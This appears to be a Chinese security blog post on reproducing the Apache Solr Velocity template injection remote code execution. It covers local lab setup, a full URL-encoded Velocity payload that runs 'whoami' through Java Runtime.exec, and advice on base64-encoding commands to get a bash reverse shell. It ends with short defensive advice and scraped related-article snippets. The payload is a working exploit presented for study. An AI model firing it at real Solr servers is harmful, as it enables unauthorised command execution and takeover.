<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Solr Velocity模板遠程代碼復現及利用指南

    VSole2021-07-21 09:02:17

    0X01前言:

    據消息稱,安全研究員S00pY在GitHub發布了Apache Solr Velocity模板注入遠程命令執行的POC.目前測試,可影響Apache Solr 7.X到8.2.0.故本地搭建環境,學習一下

    Github的POC:

    https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

    0X02本地搭建:

    1:在Solr官網下載8.2.0版本進行復現

    https://archive.apache.org/dist/luceen/solr/

    2:部署到Linux上

    將壓縮包解壓到文件夾(任意一個文件夾都可以),然后進行bin目錄啟動Solr(注意不是根目錄中的/bin)

    在此目錄打開終端,輸入命令./solr start

    本地訪問端口8983

    3:創建核心

    先手動在/server/solr/目錄下創建一個test的文件夾,然后將/server/solr/configsets/_default/下的conf目錄拷貝到test目錄下

    添加核心

    然后訪問該核心的config文件,查看是否可以訪問

    確定config配置里的兩個值均為True,如果不是,在第一次攻擊報文中,修改為True

    0X03復現過程:

    Apache Solr默認集成VelocityResponseWriter插件,該插件初始化參數中的params.resource.loader.enabled默認值設置為false,但是可以通過POST請求直接修改集合設置,將其設置為true,然后就可以構造特殊的GET請求來實現遠程代碼執行。



    然后發送執行命令的payload,這里先進行執行命令的回顯.

    Payload: /select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

    0X04構造EXP:

    利用Velocity模板調用java語法進行命令執行,類似于傳過去的就像jsp語法.這里有個坑,velocite里沒有數組,改造官方POC,構造POC(exec(new String[]))就會出現問題,所以需要換一個方式,用base64編碼的方法解決這個問題.


    對數組的訪問在Velocity中存在問題,因為Velocity只能訪問對象的方法,而數組是特殊的數組,所以雖然數組可以循環列舉,但不能訪問特定位置的元素,如strs[2],數組對固定位置元素的訪問調用了數組的反射方法get(Ojbect array,int index).而Velocity沒能提供這樣的訪問,所以數組要么改成List等其他類容器的方式進行封裝,或者通過公用Util的方式來提供,傳入數組對象和要訪問的位置參數,從而達到返回所需值的目的.


    進一步利用,進行反彈shell利用bash反彈shell


    官網POC,只能執行單個命令的缺陷:當存在|,<,>等符號時就會報錯無法執行,無法進行反彈shell等問題,使用base64編碼


    http://www.jackson-t.ca/runtime-exec-payloads.html


    然后在進行url編碼,填入替換exec里的payload即可.

    0X05防御措施:

    攻擊者可以直接訪問訪問Solr控制臺,通過訪問節點胚子進行getshell獲取權限.目前官方已有補丁,在沒有補丁的情況下建議增加solr的認證模塊,設置強口令,減少被入侵的風險.

    solrvelocity
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    據消息稱,安全研究員S00pY在GitHub發布了Apache Solr Velocity模板注入遠程命令執行的POC.目前測試,可影響Apache Solr 7.X到8.2.0.故本地搭建環境,學習一下
    F-vuln(全稱:Find-Vulnerability)是為了自己工作方便專門編寫的一款自動化工具,主要適用于日常安全服務、滲透測試人員和RedTeam紅隊人員,它集合的功能包括:存活IP探測、開放端口探測、web服務探測、web漏洞掃描、smb爆破、ssh爆破、ftp爆破、mssql爆破等其他數據庫爆破工作以及大量web漏洞檢測模塊。
    4月13日,騰訊安全發布Apache Solr 多個高危安全漏洞的風險通告,其中編號為CVE-2021-27905的服務器端請求偽造漏洞為高危嚴重級別,攻擊者可以傳遞特定參數,使服務端發起請求,成功利用該漏洞可造成內網信息探測。目前,該漏洞的利用POC已被公開,騰訊安全專家提醒用戶盡快升級修復。在中國大陸地區,浙江、北京、上海、廣東四省市位居前列,占比超過82%。
    2021年04月12日,Apache Solr官方發布Solr多個高危漏洞更新,漏洞等級為“高危”,騰訊安全專家建議受影響的用戶及時升級到最新版本。Solr是Apache Lucene項目的開源企業搜索平臺。Solr是高度可擴展的,并提供了分布式搜索和索引復制,Solr是最流行的企業級搜索引擎。CVE-2021-29262:敏感信息泄漏漏洞 攻擊者可以訪問特定的路徑以得到身份驗證和授權配置文件。Apache Solr 官方下載地址 注:修復漏洞前請備份資料,并進行充分測試。
    0x01 前言在某次紅藍對抗過程中,要結束的時候突然發現了掃描器爆出了Solr-RCE-CVE-2019-0192漏洞。但是進行測試過程中發現存在各種各樣的問題。0x02 繞過1進行測試,發現目標只可以執行單命令,返回字段比較少的命令。但是發現目標路由規則寫死了,無法直接訪問到.jsp的文件。又遇到一個問題,jsp的馬子都有%號,這里不論怎么做 %就是寫不進去。接下來解決為啥500就可以了,type 123.jsp查看一下。
    通告編號:NS-2021-0014 2021-03-18 TAG: Apache Solr、文件讀取、SSRF 漏洞危害: 攻擊者利用此漏洞,可實現任意文件讀取。1 漏洞概述 近日,綠盟科技監測到網上披露了Apache Solr的文件讀取與SSRF漏洞,由于Apache Solr默認安裝時未開啟身份驗證,導致未經身份驗證的攻擊者可利用Config API打開開關,從而利用漏洞進行文件讀取。目前漏洞PoC已公開,請相關用戶采取措施進行防護。
    Apache Solr發布公告,修復了ConfigSet API中存在的未授權上傳漏洞風險,該漏洞被利用可導致RCE(遠程代碼執行)。
    前言在某次紅藍對抗過程中。要結束的時候突然發現了掃描器爆出了Solr-RCE-CVE-2019-0192漏洞。但是進行測試過程中,發現存在各種各樣的問題繞過1進行測試,發現目標只可以執行單命令,返回字段比較少的命令。但是發現目標路由規則寫死了,無法直接訪問到.jsp的文件。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类